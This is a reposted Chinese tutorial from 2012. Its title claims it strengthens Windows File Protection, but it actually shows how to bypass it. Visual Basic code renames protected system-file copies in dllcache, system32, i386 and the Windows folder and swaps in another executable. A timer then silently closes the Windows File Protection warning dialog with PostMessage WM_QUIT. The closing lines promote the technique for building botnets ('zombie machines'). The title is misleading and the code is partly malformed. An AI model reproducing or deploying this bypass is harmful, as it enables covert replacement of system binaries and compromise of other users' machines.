幾招技巧徹底加強Windows文件保護穩(wěn)定性 |
發(fā)布時間: 2012/9/5 18:02:41 |
“破壞”思想 還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對話框的標題,是不是“Windows 文件保護”啊。我們就從它下手。有兩種方法,一是根據(jù)這個窗口標題查找,找到后將其隱藏,這個可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據(jù)這個窗口標題查找,找到后不是將其隱藏,而是通過發(fā)送系統(tǒng)消息直接關閉。下面我將以一個完整的替換文件、關閉對話框的例子來講解。這里選擇第二種方法。 界面設計 好了,還是先給出各控件布局,及對應屬性。 初始化 程序開始首當其沖的當然是初始化了。在這里要聲明需要使用的API、常數(shù)及變量,并獲取Windows目錄的完整路徑。 '獲取WINDOWS安裝所在目錄的API Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long '查找窗口句柄的API Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long '根據(jù)句柄關閉指定窗口的API Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long '關閉窗口的常數(shù) Private Const WM_QUIT = &H12 '存放Windows目錄的變量 Dim WindowsDirectory As String Private Sub Form_Load() '存放獲取的Windows目錄的字符串緩沖區(qū) Dim Path As String '設置緩沖區(qū)內(nèi)容,以便分解Windows目錄的完整路徑 '獲取Windows目錄的路徑,存放進緩沖區(qū) Call GetWindowsDirectory(Path, 255) '分解Windows目錄的完整路徑 WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2) '指定被替換文件的完整路徑及文件名 txtSource.Text = WindowsDirectory & "\" & "notepad.exe" '指定替換文件的完整路徑及文件名 txtDestination = WindowsDirectory & "\" & "regedit.exe" End Sub 然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據(jù)復選框選擇的路徑進行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復了,然后將替換文件復制成被替換文件,這樣就避免了直接替換而可能產(chǎn)生意料情況。替換后將定時器激活,進行對話框查找。 Private Sub cmdDo_Click() '執(zhí)行時屏蔽所有的操作對象,防止誤操作,而導致程序崩潰 cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False '設置錯誤陷阱,因為下面的程序涉及到文件操作 On Error Resume Next '判斷被替換文件和替換文件是否存在 If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then '存在,定義被替換文件的文件名存放變量 Dim FileName As String '獲取被替換文件的文件名 FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\")) '判斷是否選中Dllcache復選框 If chkDllcache.Value = 1 Then '是則對Dllcache下的被替換文件改名 Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak" End If '判斷是否選中System32復選框 If chkSystem32.Value = 1 Then '是則對System32下的被替換文件改名 Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak" End If '判斷是否選中I386復選框 If chkI386.Value = 1 Then '是則對I386下的被替換文件改名 Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak" End If '判斷是否選中Windows復選框 If chkWindows.Value = 1 Then '是則對Windows下的被替換文件改名 Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak" '將替換文件復制為被替換文件 FileCopy txtDestination.Text, txtSource.Text '激活定時器 timCheck.Enabled = True End If End Sub 最后則是不停的監(jiān)視那個“Windows 文件保護”的對話框,一出來就通過PostMessage API向其發(fā)送WM_QUIT系統(tǒng)消息,將其關閉。這里要注意一點,是用PostMessage而不是SendMessage,主要是因為消息不需要等待,如果用后者,則關閉不了“攻略”一文中的對話框。反而會彈出另一個對話框。 Private Sub timCheck_Timer() '設置錯誤陷阱 On Error Resume Next '定義存放"Windows 文件保護"窗口句柄的變量 Dim hwnd As Long '查找"Windows 文件保護"窗口,并把對應的句柄存入變量 hwnd = FindWindow(vbNullString, "Windows 文件保護") '判斷是否找到窗口 If hwnd <> 0 Then '是則關閉窗口 Call PostMessage(hwnd, WM_QUIT, 0, 0) '給出成功提示 MsgBox "替換成功!", vbInformation '退出程序 End End If End Sub 好了,到這里就可以編譯使用了。 寫在最后 這樣簡簡單單幾步就把MS安全強大的WFP給突破了,讓我自己也有點不敢相信,不過這是事實,不得不信啊。一個“小”洞+一款利器=多多肉雞,相信你絕對不會錯過的。 本文出自:億恩科技【1tcdy.com】 |